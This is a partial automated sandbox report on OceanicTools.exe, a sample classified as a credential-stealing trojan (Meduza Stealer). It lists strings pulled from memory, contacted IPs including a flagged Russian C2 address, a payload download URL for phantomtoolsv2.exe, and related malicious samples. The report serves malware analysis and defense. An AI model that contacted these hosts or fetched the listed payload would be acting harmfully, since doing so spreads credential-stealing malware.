http://ns.adobe.hotoshi	qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 00000009.00000002.2428854382.00000220FA8F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro/pki/crl/productCerAut_2010-06-2	powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/8v	qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.photo/i	qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2221407009.000001AA5B74D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.micft.cMicRosof	powershell.exe, 00000009.00000002.2430659101.00000220FAA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2205086606.000001AA4B6E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2221407009.000001AA5B74D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ns.adoraw-se	qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.a.0/sTyi	qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.2205086606.000001AA4B906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.mic	powershell.exe, 00000009.00000002.2430659101.00000220FAA15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.micom/pki/certs/Miut_2010-06-23.cr	powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://https:///&?=-_.~:	OceanicTools.exe	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.micro	powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.208.158.47/phantomtoolsv2.exeAnalNosorog256X-Secret-Phrase	OceanicTools.exe	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.2205086606.000001AA4B906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.haskell.org/ghc/reportabug	OceanicTools.exe	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2205086606.000001AA4B6E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org	qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E3F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673411537.000001FB139F3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FEE000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A92000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A45000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A9A000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C88000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E47000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C80000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC8000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A3D000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
79.137.202.152	unknown	Russian Federation	42569	PSKSET-ASRU	true
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
185.208.158.47	unknown	Switzerland	34888	SIMPLECARRER2IT	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532355
Start date and time:	2024-10-13 01:38:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	OceanicTools.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/12@1/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 96% Number of executed functions: 96 Number of non-executed functions: 165
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6696 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: OceanicTools.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
79.137.202.152	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	SecuriteInfo.com.Win64.PWSX-gen.30688.21076.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	HS034Ewroq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	installer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	Oldsetup.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	setup_installer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	WarzoneCheat.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
104.26.13.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	bot.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	172.67.74.152
	ATLANTIC STAR - VESSEL DETAILS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.13.205
	024.xlsx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	Order0958490.vbe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Win64.PWSX-gen.30688.21076.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	172.67.221.87
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	FluxusV2.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.77.78
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://confortdelaine.net/_t/c/A1020005-17FCBF5826D778A0-C9FF7535?l=AAAjUdfNc16+VqCOWdjhu7TjhebDwXm6ITDaAzM2/RBqTCouOd4syZWt0oQeHch0J32d09qewtBep0xMzEqQw5uCDD5jzGMptv2Ml8tKG/C8CtlmUW+BwgihXDjkVb9+HrdQMTDnH/ltKCqbqkeSWCTVbTbsi7hQm50lkSO+uIKP+WaZVK5CwB+KNw5vz0h1+VWB9nXYS7r/65KwDXG1eoQ7LpgExf5uqFhJOeKU2lxyf8MZFWma+Jpcd8qAgpI5cl3w3zd+Vm0EYEfvHWX+4U6+p25bR3xOeQgBPB06jegeQ9cdnaCwg3Jra3NPSUfO/ZRQe9TJEW4VVwilXp7v0mwUyqJcK2y5kBNWNZEBnnQaAV+iawzJY19HetwEfzVabFBg3HhgYGx7XFWZYjHTHjwVWsbkjfgBb5461v0CHJjM9jrxfdj1kWIpcxid8O+dUSurKUOY4Hbb6SKXakBTmnkrYs0n3Xg5Ig==&c=AABu3sW2q3Ir8ifQJAijAhNJKq0uXwwF4aGWbgefQqJepVeNmQ2aDLrgth/4e3uZIWGGIQ8D3UPNbSnpgolkZPjCVjLlF8o96RZE6aKBP9hbbWDin7ntLRUM+OO5f3pIO2jZnmZof+ubVBUQEbWFAbo8xkwwPjD2yomWYO9BLauUbPdhe7sTeQubBshJfuD8IakpYR9mWvaRkj7jNE3uduhHnJqo59l67j+0INR7XdqioPPPYIlYt8Y2ErrD/Hm1x7Ub0JlpSy2dIylu82OHsbPe2IgE0AfUZGQlqmZjkJjdk/1R+5UTAbpM4Ru2nPA1W7k8m3b56CPQfp4Nfu7t5KTvxCSLpsyTXBp2H+CLMJgrqBWvScKuAGZzoBftoxN6AlJm7/tBk90HG/fSCigf6L5/vrhdqLwDnA3umOCSZNa6Rd/lq2DBocN9C5i+TM7dwQouAP+UKgVQf4ATMh19VLexy/mmb76HgGZt4HtVGufMb6cC2I7sVZK9dBduwlRzxT47SRfRKthnR5h3xirvQPbRJwRGy1YOGI3PBe6L8zkZnlHm4NWF1riKc7NfDV2jKR/ux1g+p2dIOZSC6QRSQfNi2L0zb9mMJvmZGJpdRbwk09T/RgLB6/6oigEcyMOmQDpPT8ma	Get hash	malicious	Unknown	Browse	23.227.38.65
	https://confortdelaine.net/_t/c/A1020005-17FCBF5826D778A0-C9FF7535?l=AACrcmbDni/ExL+6O84qnOq7s+7FEV7f2cEnFZCBGkVuVLwxJJ9kIF+/XsJvnT/ZZCSNu0ZPkHJMldgNU5hySzD4vbkLFmicZpeb27RRNiBBqzluO2njDgWrhNVOuuG5KecX01qr4Wu4+GPJbk1wcH4NmoDfnECMgEyVdYVJNd9SJ/Z6oeOmLYfmhHtJEcZB1zTo2XcCZUK4o1X55Z6mDqHfXia9/zchVngkbUJFubdOeeGrUXmliV4kA4X0r42Yjp3RKfpMvJU0dvSKL9oGxXQi9sD/MbbP4pxgNW6CajbdZVfsCIontUHWT1eFW4HrQm9NkGaKTegqBxEs/bh3fwfINtkSa08UEhuWP97GhgCO8AMh0qPvYF1Rp7eiHGFkb8QogMMfuDrW2QnTqHRWnTzitTqkjecFMC67nh1FVX/+SWo05+3MmWfzaTxkwp1iAJoDUcmTFcR0WSTfeepWakTIU1exnjYHjHsm9FYU&c=AABJIKCyntddafHrxXwMffbew9PUcwQ56WCR8mvcT/7tDRFoJSRw3QNX02Q/MIVoixgn9dE9sMMP0GDnwqQ0LdLGXfvFaDm4lnRP0nKKMx/K5F9QxPOFroSM5e8+RBG+qqCfBnKxbWihL3/38edMaV7uTv7a0UGb2nVUF+n7XQAl2QSudEpYlV++l35LZxi6JWsnjixzdQpF+bXikFz1oYDN6GSuDb0op6aViO8V/0UhqnTHHddY9/cqyxhVsr874sBNA2avRHpdaXr1CP2PeHJcUgsGQb+Q5ZsuH9DAP++Oq7lFPe0lbuV3tYUIr/YAS6C7DT9Oee2yUkZYYTbI0bVJgmpWHa/G9q/wBFVVHuCTY5U3Rk5FsGRYQV6gWYrnX5DIQf3ZS3CM9xlUC2XMY8/htbCHQHuT5hjcDdzUTL+rWXnJ/TpkKPDyDGmCQh8idvsKAqOWIYWkO3X5LUWuEryoODEKawcYmYfc7zahLtlk7MGx3wWvCKqqkAg6bFwWWKWXURv3AGYvESLycicJVk8PxbBHrVkb/ZjVWsbKsit0CCZTx+7Bs7ZMtFKW5bo+GHe3oXwvXrlQS2IjtYPTG6q1fOR5753mseQVzhjXvKuOJkAQb03nyAw9hJo2vgadjjmOtgB9	Get hash	malicious	Unknown	Browse	23.227.38.65
	https://confortdelaine.net/_t/c/A1020005-17FC1B6DB5BD9241-7C90090F?l=AADy6+7GSFDtie9t8Cg/YUEnWHeQNpQUM5LtDe7UJMsLOceAyoyG1gPOseIEt6wEQOIS0cQG9+43HQOpwin+IcDGpXOmivIAoIj+kjiIGL1D2+8BvnDBEaMAH0f591eHch8eVhYXQMKLzHwgDODg3wt5JqhlbP9RQzflWbxkgz8rcLW9fZi6fO8I2q/H/mufxAmprX0pckYJIlZDOjEWtANKm9qQyuOPBTmTxFfQ7lSnZTWTopfzM4iUzlHH6YHH2Gwf9rOJKxuawJshVk1D6tC4SPWT4Qn+EH36v6noVRG1OVZuyh8POMokxISZrUYw04m/WI9EIj5YnXnJ0pu3aN84TxZoMpQWLf/bmERiIc3Nyv1tTCdvcY5yUV048SjizDEvcSo7xAYIkZcbJD4FxApNB4P7tHx7BM4Ye85I4pWktamhPb27vCl/+uYQPRubCgSnJCgEpm957xU4Pe9/Mw441Bx0a9Cw1g==&c=AAAMLqZiPcHPCafs0rFGm1fIkoNaTXck7ODBjyaeBBJn4WJkh+1bSUuW3EZ3mxfwfU+bqGXZerIBh+MSgUxyjr2dBgbCYcsfxsvjUb8rm3+6Y+MBXQzywIZk3yyBwMGrGcyqAW4sC8CEsQLo0qa26hZf6P5Mds0gAcBhLOQHNHGs04Bz8kP6rN3oyHvKAVKj6q6jh+o5tCfFCSfoFphn1jIlhz58l/iThGupLjhturtvKm1NOX3hQvVyGuodJdqpVFaaDIitHXcYMqB9UmB9x5Je567LlrJzANu3yeDnFlF+FPlEJBxfqHj5MAKq9a5hjcUMFWRj2C1f6q3FTviqfxGBcXqL6mjrfRn2e6SZ3cLMdbrvJF8+K9bEjK0z+DPrn/wowMPNg/sWBhdBb591VOmiiOgz82MQYX1oZvuxWVx8Ss8Y39FUpF/cGTcZLojkZK6/ZSGPHVUwgwezuarqDmRh2tnVahKh1zxiH7oFrg0dqApoWgloHFVuYES+Zx6Fwu8ffg2y+FHXsyJlLjARsT0dR3inuufunKnxFU0f0p8osK+QnybUWCcqfkqTetWNzB5Z8asqQvYhVbUlxqje0VAbhML1S+q4B7u3yifa6/t82x0LbRE1kHeNSO2USFPZmw2CUqF5	Get hash	malicious	Unknown	Browse	23.227.38.65
	https://confortdelaine.net/_t/c/A1020005-17FC1B6DB5BD9241-7C90090F?l=AACK/veH9NDjNFiJHV0SalQi1vBoTxR3+CaR+Tf08xqCc5VCUGXc4X3qdIj9jWGkdCLuES/KY7ELen4EAn/FdnHqCQjbGr4W7dR4kVnBVs6emUveso+FtMlz8WLaK/uswzzWIgI+d66EsmSIAjCn6klItun/LyfhMBm/RvF8+GmEHKuHrtJ8flo99oIsJ0uYTUcGFmrLFZUm12SmxPleHrWwUcLBo1d4hUAo1H1WkirRXbLvtA5AFdQBsGObYvK4Jtgjqj5gw5MW75B9OQ54AcZkBQKcIkmFcg1YL0qDKrf81oJq2UUhMNPl/V/7Lmh2Iy3+rO2Qx71WjGONpPizWLvD7lune8iRYENSNu1xGJst2AqunbtEprrHIRzSb0HY+HbbjV8np3yVIxGt0yN7Vmb5AARDME7dIwHUrmOBP8igeJjkCyNogIrPeE8U4hVHOONDQ0fRseICVU1/ok2ExphS1u92stTGUjMCSci5vEz5fgxKUh8PMHHlxtZQmBjhUQ==&c=AABwK74RGNbpZkLbXDMgwGkEPcjIolhPI3ARymI3akMXqIIsvKkft1xo30+FsOmyglvzbe8Yz6H3Z4LxZ/0aTZFTqxR6u54legvtFlkuV/Y5fZXwm/YmPanR9jUnqtc4hPznzAuUrT6U7sovDeUggzqrrdSH45Gj/uRY+/LazDIdhTbOxXQwN2GEeE643R7hV3n9WYZrcN1rJdKE4J3VridUK5YywIX20BWPmYGQ+iqSfiaJQlNujGzur2PRjzxDNGxHixYHr88wjhccRzzqt63TgH68hxiQWBS2WMJ8V78YgSedyDzugz0SWoHXC4lIoIg/mD4/gfyj8ItwLNrpe3LWbVMyaC3Ad4pEpAUwx2rMNAE2ZRJGw2pFtc10IGwr77FIEYyERoM+q4jxSJoFtK3knGK9ms7DQJFt8w0eTeON/BC9KGyQaC64dCNz+N4+Xs4aPX/XWl9TCa+jzc65pmbZE5Fi0IpF2S9gBcOFdJjQtmI1vA8o1jxGHT+6uixJoZsPaoFWVJAAyljwh/1U0kE7VmRRTmULBXD/WiUTWrHi0xFoOw6OPuSKQtWkN98CCafLvNNkYgEzgEh7ZP0U7YG2Ui/9zjmE3N9hxjTOSgO7rba70M6HBYbc4mR2U37DUGxUEU5C	Get hash	malicious	Unknown	Browse	23.227.38.65
SIMPLECARRER2IT	swf.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	stail.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	U54VThCRIT.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	K0gfCqqEU9.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	ygFJ0vu5LF.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	EtjUOG1X1z.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	JtDj8LXROa.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.248
	logrotate_malware.elf	Get hash	malicious	Xmrig	Browse	185.196.8.41
PSKSET-ASRU	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152
	SecuriteInfo.com.Win64.PWSX-gen.30688.21076.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152
	HS034Ewroq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152
	installer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152
	Oldsetup.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152
	cpXiB8kFJ7.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	79.137.199.150
	Aannir04sD.exe	Get hash	malicious	Njrat	Browse	79.137.199.150
	gGcpYEOr8U.exe	Get hash	malicious	Unknown	Browse	79.137.199.150
	gGcpYEOr8U.exe	Get hash	malicious	Unknown	Browse	79.137.199.150
	setup_installer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	79.137.202.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
